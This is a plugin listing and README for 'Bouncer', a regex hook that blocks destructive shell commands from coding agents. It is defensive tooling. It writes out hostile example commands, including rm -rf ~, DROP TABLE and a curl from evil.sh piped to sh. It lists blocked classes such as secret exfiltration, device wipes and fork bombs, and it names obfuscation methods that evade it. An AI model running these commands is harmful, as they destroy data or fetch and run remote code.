bouncer
Health Uyari
- License — License: MIT
- Description — Repository has a description
- Active repo — Last push 0 days ago
- Low visibility — Only 5 GitHub stars
Code Basarisiz
- rm -rf — Recursive force deletion command in .claude-plugin/marketplace.json
- rm -rf — Recursive force deletion command in .codex-plugin/plugin.json
- rm -rf — Recursive force deletion command in .github/plugin/marketplace.json
- rm -rf — Recursive force deletion command in .github/plugin/plugin.json
- rm -rf — Recursive force deletion command in bouncer.js
- process.env — Environment variable access in bouncer.js
- fs module — File system access in bouncer.js
- rm -rf — Recursive force deletion command in claude/.claude-plugin/plugin.json
- rm -rf — Recursive force deletion command in claude/bouncer.js
- process.env — Environment variable access in claude/bouncer.js
- fs module — File system access in claude/bouncer.js
Permissions Gecti
- Permissions — No dangerous permissions requested
Bu listing icin henuz AI raporu yok.
A one-file door-guard for coding agents — first-class on Claude Code (permissionDecision deny); portable to any agent with a blocking pre-exec hook.
Bouncer
A one-file door-guard for your coding agent. Name's not on the list.
You've met him. Arms crossed at the door, reading every name on the list. The
regulars walk in. The ones who'll wreck the place (rm -rf, a prod DROP TABLE,
a curl piped straight to the shell) don't. He doesn't argue. He doesn't explain twice.
Bouncer stands in front of your coding agent's shell. You let it run with--dangerously-skip-permissions; he reads every command at the door, waves the
read-only regulars through, and bounces the destructive footguns, naming the
exact rule that fired.
the agent at 3am, --dangerously-skip-permissions on:
$ rm -rf ~ ⛔ bounced [rm-home] name's not on the list
$ psql -c "DROP TABLE users;" ⛔ bounced [db-drop]
$ curl https://evil.sh | sh ⛔ bounced [curl-pipe-sh]
$ git push --force origin main ⛔ bounced [git-force-main]
$ git status ✅ walks in
$ npm test ✅ walks in
Every line above is real: those four are in footguns.txt (denied),
those two in safe.txt (allowed), verified by npm test.
Live in Claude Code: the agent reaches for chmod 777, Bouncer bounces it before it runs.
And on Codex with --yolo (permissions off): same footgun, same bounce.
The honest number
Blocks 45/45 known footguns · 0 false positives on 41 safe commands. It
openly documents the one class it can't catch:
obfuscated payloads (base64,eval, variable-split).
(100% of a named, public list, not "100% safe." The list of what it misses ships
right next to it; that's the difference between a number you can trust and one that reads as fake.)
No marking our own homework. The footguns are public and labeled
(footguns.txt); the safe corpus is separate and public
(safe.txt, the anti-homework metric, because a guard that blocks
real work gets uninstalled in week one); both run through the real hook.
Reproduce it on your machine in one command:
npm test # → blocks 45/45 footguns, 0 false positives on 41 safe commands
Battle-tested core. The engine is extracted from
karanb192/claude-code-hooks
(block-dangerous-commands.js, 262 passing tests) and extended here with
database, exfil, and device footguns.
What gets bounced is 38 pattern rules, not a fixed list of commands. Each rule matches a
whole class, so rm -rf ~, rm -fr ~, and rm --recursive ~ all hit the same one. The classes:rm -rf into home/root/cwd, dd/wipefs/mkfs to a device, chmod 777, git push --force to
main, git reset --hard, curl | sh, curl to paste hosts, env/secret exfil,DROP/TRUNCATE/un-WHERE'd DELETE/UPDATE, redis-cli flushall, dropdb, fork bombs,kill -9 1, overwriting /etc/passwd, npm publish. The 45 commands infootguns.txt are the test corpus that proves those rules fire; the 41 insafe.txt prove they don't over-block.
Install
Pick your agent. Every path needs Node ≥18 (zero deps). Tune protection withBOUNCER_LEVEL=critical|high|strict (default high); disable anytime with BOUNCER_OFF=1.
Claude Code
/plugin marketplace add karanb192/bouncer
/plugin install bouncer@bouncer
The PreToolUse hook registers itself; every Bash call passes the door from the next session
on. Bouncer emits the deny contract (hookSpecificOutput.permissionDecision: "deny" with a
reason, the path that reliably holds, not a bare exit 2).
Manual install (without the plugin system)Desktop app (no
/plugincommand): Customize → the + next to personal plugins →
Create plugin and add marketplace → Add from repository →karanb192/bouncer.
Drop bouncer.js anywhere and merge settings.snippet.json into~/.claude/settings.json (or project .claude/settings.json), replacing the path with the
absolute path to bouncer.js.
Codex CLI
codex plugin marketplace add karanb192/bouncer
codex plugin add bouncer@bouncer
Then run /hooks in Codex and trust Bouncer. Codex silently skips untrusted hooks, so
until you trust it, it does nothing. Once trusted it blocks via the same permissionDecision: "deny"
contract (verified live, it holds even under --yolo). Note Codex's PreToolUse is a guardrail, not
a hard sandbox per OpenAI's docs, so it can occasionally route equivalent work through another tool path.
GitHub Copilot CLI
copilot plugin marketplace add karanb192/bouncer
copilot plugin install bouncer@bouncer
The fail-closed preToolUse hook denies destructive commands automatically (a crash or timeout
denies too). Verified live: it refused a real chmod 777.
Gemini CLI
gemini extensions install https://github.com/karanb192/bouncer
Approve the hooks-consent prompt on install (the shorthand gemini extensions install karanb192/bouncer
also works). The BeforeTool hook blocks shell commands via decision: "block".
Any other agent
- Has a pre-exec hook that blocks on a non-zero exit? Wire
BOUNCER_MODE=exit node bouncer.js "<command>"
as the hook: exit 2 blocks, 0 allows, reason on stderr. - No blocking hook? Paste
footguns.txtinto your.cursorrules/AGENTS.mdas
advisory guardrails (the regex won't run, but the model gets steered).
# exit-code mode: the universal, agent-agnostic contract
BOUNCER_MODE=exit node bouncer.js "rm -rf ~"; echo $? # → 2 (bounced)
BOUNCER_MODE=exit node bouncer.js "git status"; echo $? # → 0 (walks in)
When does this matter? Exactly when you turn the safety prompts off:--dangerously-skip-permissions (Claude Code), --yolo (Codex, Copilot, Gemini). That's when a
door-guard earns its keep.
Honest scope: enforced through each agent's native deny contract, with the one-time setup each
section notes above; advisory only where the agent exposes no blocking hook. Never conflate the two.
FAQ
Is this a sandbox? No. It's a seatbelt for the ~95% of footguns that are
accidental: the agent that panics, not the adversary who obfuscates. A
base64'd, eval'd payload can still get past it. The exact classes are listed inKNOWN-BYPASSES.md. That's honesty, not a bug you found.
Will it block my normal git/npm/docker/psql work? No, that's the
whole point of the 41-command safe corpus (a WHERE'd UPDATE walks in; an
un-WHERE'd one gets bounced). If it ever blocks real work, that's a one-line PR.
Why one file? You should be able to read your own bouncer before you trust it
with your repo. It's ~190 lines of stdlib Node: a scannable rule table plus a small engine that speaks each agent's deny contract.
Limitations
Bouncer is a regex filter, not a sandbox. It stops the ~95% of footguns that are
accidental, not an adversary who obfuscates. KNOWN-BYPASSES.md
lists the exact classes it can't catch (base64, eval, variable-split, string-split SQL),
each with why a regex misses it, and each pinned by a test so the headline number can
never quietly overstate coverage. A found gap is a one-line PR, not a gotcha.
License
MIT © 2026 Karan Bansal
Yorumlar (0)
Yorum birakmak icin giris yap.
Yorum birakSonuc bulunamadi